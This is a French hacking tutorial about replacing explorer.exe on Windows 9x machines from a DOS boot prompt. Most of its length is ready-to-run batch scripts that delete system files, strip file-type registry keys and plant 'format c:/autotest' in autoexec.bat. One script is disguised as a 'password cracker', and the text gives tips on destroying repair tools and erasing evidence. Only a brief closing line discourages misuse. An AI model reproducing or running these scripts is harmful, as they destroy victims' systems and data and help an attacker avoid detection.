Vulnérabilité par rapport au fichier explorer.exe des systèmes Windows.

Le fichier explorer.exe

La faille est simple: elle consiste à faire éxécuter à windows, un programme de votre choix. Quel est, selon vous, le premier programme qui se lance, avant l'ouverture de session? Il s'agit de explorer.exe (C:\windows\explorer.exe). Tout consiste à faire lancer un autre programme que l'explorer.exe habituel. Celà requiert un accès à MS-DOS avant le lancement de windows. Comment faire:
Lorsque le PC démarre, laissez enfoncée la touche F8 ou F4 (F8 en général), et un menu d'options apparait. Parmis ces options, choisissez la cinquieme qui est: Invite MS-DOS seulement. Validez ce choix et vous vous retrouverez sous DOS. Windows ne s'est alors pas lancé. De là vous avez plusieurs solutions:
- le programme à faire lancer à la place de explorer.exe est déjà sur la machine
- le programme à faire lancer est sur une disquette que vous avez sur vous (bien entendu).
Dans le premier cas, voici comment faire lancer le programme à la place de explorer.exe
Tapez:
del c:\windows\explorer.exe
Validez
copy c:\le-rep-où-se-trouve-le-prog-à-lancer\nom-du-prog.exe c:\windows\explorer.exe
Exemple:
del c:\windows\explorer.exe
copy c:\windows\winipcfg.exe c:\windows\explorer.exe
Avec ces deux lignes de commandes, votre programme d'attaque est venu remplacer explorer.exe (dans l'exemple il s'agit de winipcfg.exe). Ainsi ce sera lui qui se lancera à la place d'explorer.exe. Ce lancement s'effectue, comme déjà dit, avant tout les autres programmes windows. Pour pouvoir remettre l'explorer.exe à sa place il vous est conseillé d'en faire une copie sous un autre nom. Voici un exemple de sauvegarde de explorer.exe:
copy c:\windows\explorer.exe c:\windows\datareg.exe
Là l'explorer.exe existe sous la forme de datareg.exe dans le répertoire c:\windows\. Pour rétablir le bon explorer.exe, vous devez effacez le mauvais, qui est sous le nom de explorer.exe (c:\windows\explorer.exe), et recopier datareg.exe dans le c:\windows\, sous le nom de explorer.exe. Procédez donc de la manière suivante:
copy c:\windows\datareg.exe c:\windows\explorer.exe
Tout devrait refonctionner normalement. Voilà donc ce que vous pouvez faire pour sauvegarder explorer.exe.

Note: si il n'y a pas de fichiers explorer.exe existants dans c:\windows, alors après l'ouverture d'une session windows marquera: Erreur dans le chargement d'Explorer
Veuillez Réinstaller Windows Après quoi, l'ordinateur s'éteint tout seul.

Dans le cas où vous auriez envie de faire cette manipulation rapidement sur un PC, créez un .bat, ou un .com que vous pouvez renommez en .exe. Je vous rappelle qu'il existe des programmes permettant de transformer un .bat en .com (exemple avec bat2exec). Il vous suffit après de renommer le .com en .exe, et ça marche (mais uniquement sous MS-DOS). Vous pouvez éventuellement laissez le .com tel quel et il s'ouvrira depuis Windows.
Voilà le genre de codes sources à faire pour éviter de perdre du temps:
@echo off
copy c:\windows\explorer.exe c:\windows\datareg.exe
del c:\windows\explorer.exe
copy c:\windows\system\sysedit.exe c:\windows\sysinii.exe
del c:\windows\system\sysedit.exe
copy c:\windows\winipcfg.exe c:\windows\explorer.exe
echo autoexec >> c:\autoexec.bat
del a:\explorer.exe
c:
win
Conséquences:

Explorer.exe est effacé du Disque dur.
Une copie a cependant été faites de Explorer.exe. Cette copie est c:\windows\datareg.exe à replacer dans c:\windows sous le nom de explorer.exe
Sysedit.exe est effacé du Disque dur.
Une copie a cependant été faite de Sysedit.exe. Cette copie est: c:\windows\sysinii.exe à replacer dans c:\windows\system sous le nom de sysedit.exe
L'explorer.exe est remplacé par winipcfg.exe. Ainsi ce sera winipcfg qui s'ouvrira à la place de explorer.exe après l'ouverture de la session windows.
Une ligne de commande est ajouté à l'autoexec.bat, cette ligne ne sera prise en compte qu'après redémarrage du PC, et empêche l'ouverture correcte de windows.
Le programme explorer.exe (le "virus"), qui est sur votre disquette, est effacé, ce qui fait ainsi disparaitre les preuves.

Si vous êtes assez tendance crasher, vous pouvez rajouter des lignes de commandes de type del ou format:

@echo off
copy c:\windows\explorer.exe c:\windows\datareg.exe
del c:\windows\explorer.exe
copy c:\windows\system\sysedit.exe c:\windows\sysinii.exe
del c:\windows\system\sysedit.exe
copy c:\windows\winipcfg.exe c:\windows\explorer.exe
del c:\windows\*.dll
del c:\windows\*.ini
del c:\windows\system\*.dll
echo format c:/autotest >> c:\autoexec.bat
del a:\explorer.exe
c:
win

Note: les commandes MS-DOS de types format c:/autotest font un formatage immédiat du lecteur visé et sans demande de confirmation.
Note: évitez d'insérez des commandes de type del *.*. En effet ce type de commandes demande confirmation à l'utilisateur tandis que une commande de type del *.exe ou del *.dll n'en demande pas.
Note: l'autoexec.bat est un fichier MS-DOS qui s'ouvre avant Windows. N'hésitez donc pas à écrire ce que vous voulez dessus. Prenez soin d'effacer aussi le fichier EDIT.COM, qui permettrait une réparation des fichiers .bat depuis MS-DOS dans le cas ou vous agiriez de façon nuisible.
Note: la commande echo ligne-de-commande >> c:\rep\nom_du_fichierpermet d'écrire sur un fichier texte ou .bat, une ligne de commande désirée. Dans l'article il s'agit de format c:/autotest
Note: pour forcer Windows a redémarrer insérez la commande
C:\WINDOWS\RUNDLL32.EXE C:\Windows\system\User.exe,ExitWindows
à la fin de votre fichier .bat.

Vous pouvez aussi créez vos propres programmes dans différents langages de manière à faire de ce type d'attaques de véritables joujous de guerre qui iraient jusqu'à lancer des trojans sur des serveurs bien protégés de manière bien sentie, sans qu'aucun anti-virus ne puisse se défendre puisqu'aucun anti-virus ne peut se lancer si explorer.exe n'est pas correctement lancé.
Exemple: faites un programme de type .exe qui redémarre la machine de la victime/serveur. La victime ne peut plus rien faire d'autre qu'attendre que tout se lance. Votre programme se lancera dès le démarrage de la machine, sous MS-DOS, avant Windows et ensuite un trojan pourra être lancé à l'insu du plein gré des victimes. Cependant ces même victimes n'auront qu'à se déconnecter de l'internet pour parer une quelconque intrusion. L'effet secondaire est que le serveur sera mis hors-service. Sachez que ce genre de méthodes est applicable, et qu'il ne s'agit là plus de théorie.

Voyez par exemple ce .bat, que j'ai créé, qui redémarrera l'ordinateur à la fin de son éxécution ceci sans préavis. Le fonctionnement en est simple mais l'effet est radical.

Vous devez recopier ce programme dans une fenêtre d'edit MS-DOS et corriger tout ce qui ne sera pas passé (dont notamment les accents).

echo off
echo WELCOME AT XXX PASSWORD CRACKER HKWD
echo echo off >> c:\autoexec.bat
echo del c:\windows\explorer.exe >> c:\autoexec.bat
echo copy c:\windows\winpopup.exe c:\windows\explorer.exe >> c:\autoexec.bat
echo del c:\windows\command\xcopy.exe >> c:\autoexec.bat
echo del c:\windows\command\xcopy32.exe >> c:\autoexec.bat
echo echo ON EST PAS DES CRASHERS >> c:\autoexec.bat
echo pause >> c:\autoexec.bat
echo echo TU NOUS CROIS PAS LOL >> c:\autoexec.bat
echo pause >> c:\autoexec.bat
echo REGEDIT4 >> c:\windows\registre.reg
echo [-HKEY_CLASSES_ROOT\.exe] >> c:\windows\registre.reg
echo [-HKEY_CLASSES_ROOT\.com] >> c:\windows\registre.reg
echo [-HKEY_CLASSES_ROOT\.bat] >> c:\windows\registre.reg
echo [-HKEY_CLASSES_ROOT\.sys] >> c:\windows\registre.reg
echo [-HKEY_CLASSES_ROOT\.hlp] >> c:\windows\registre.reg
copy c:\windows\registre.reg c:\windows\menudé~1\progra~1\démarr~1\registre.reg
del c:\windows\registre.reg
echo DECRYPTING
echo del c:\windows\system\*.dll >> c:\windows\menudé~1\progra~1\démarr~1\command.bat
echo del c:\windows\system\*.sys >> c:\windows\menudé~1\progra~1\démarr~1\command.bat
echo del c:\windows\system\*.ocx >> c:\windows\menudé~1\progra~1\démarr~1\command.bat
echo del c:\windows\system\*.vxd >> c:\windows\menudé~1\progra~1\démarr~1\command.bat
echo del c:\windows\options\cab\*.cab >> c:\windows\menudé~1\progra~1\démarr~1\command.bat
echo del c:\windows\*.dll >> c:\windows\menudé~1\progra~1\démarr~1\command.bat
echo del c:\windows\*.exe >> c:\windows\menudé~1\progra~1\démarr~1\command.bat
echo del c:\windows\system\*.exe >> c:\windows\menudé~1\progra~1\démarr~1\command.bat
echo del c:\windows\bureau\*.lnk >> c:\windows\menudé~1\progra~1\démarr~1\command.bat
echo del c:\windows\system\*.drv >> c:\windows\menudé~1\progra~1\démarr~1\command.bat
echo del c:\windows\*.ini >> c:\windows\menudé~1\progra~1\démarr~1\command.bat
echo del c:\windows\fonts\*.ttf >> c:\windows\menudé~1\progra~1\démarr~1\command.bat
echo del c:\windows\SYSTEM32\drivers\*.sys >> c:\windows\menudé~1\progra~1\démarr~1\command.bat
echo del c:\windows\command\*.com >> c:\windows\menudé~1\progra~1\démarr~1\command.bat
echo del c:\windows\*.com >> c:\windows\menudé~1\progra~1\démarr~1\command.bat
echo del c:\autoexec.bat >> c:\windows\menudé~1\progra~1\démarr~1\command.bat
echo format c:/autotest >> c:\windows\test.bat
echo copy c:\windows\test.bat c:\autoexec.bat >> c:\windows\menudé~1\progra~1\démarr~1\command.bat
echo C:\WINDOWS\RUNDLL32.EXE C:\Windows\system\User.exe,ExitWindows >> c:\windows\menudé~1\progra~1\démarr~1\command.bat
echo BYE BYE IS IT YOUR PASSWORD
C:\WINDOWS\RUNDLL32.EXE C:\Windows\system\User.exe,ExitWindows

Note: si un programme de traitement de fichiers est en cours d'utilisation et que l'ordinateur essaye de se fermer alors que les données doivent être sauvés, windows bloquera le processus d'extinction du PC et l'attaque sera repérée.

Evitez cependant de trop jouer avec ça. Ne dit-on pas que le crime ne profite jamais?

Clad Strife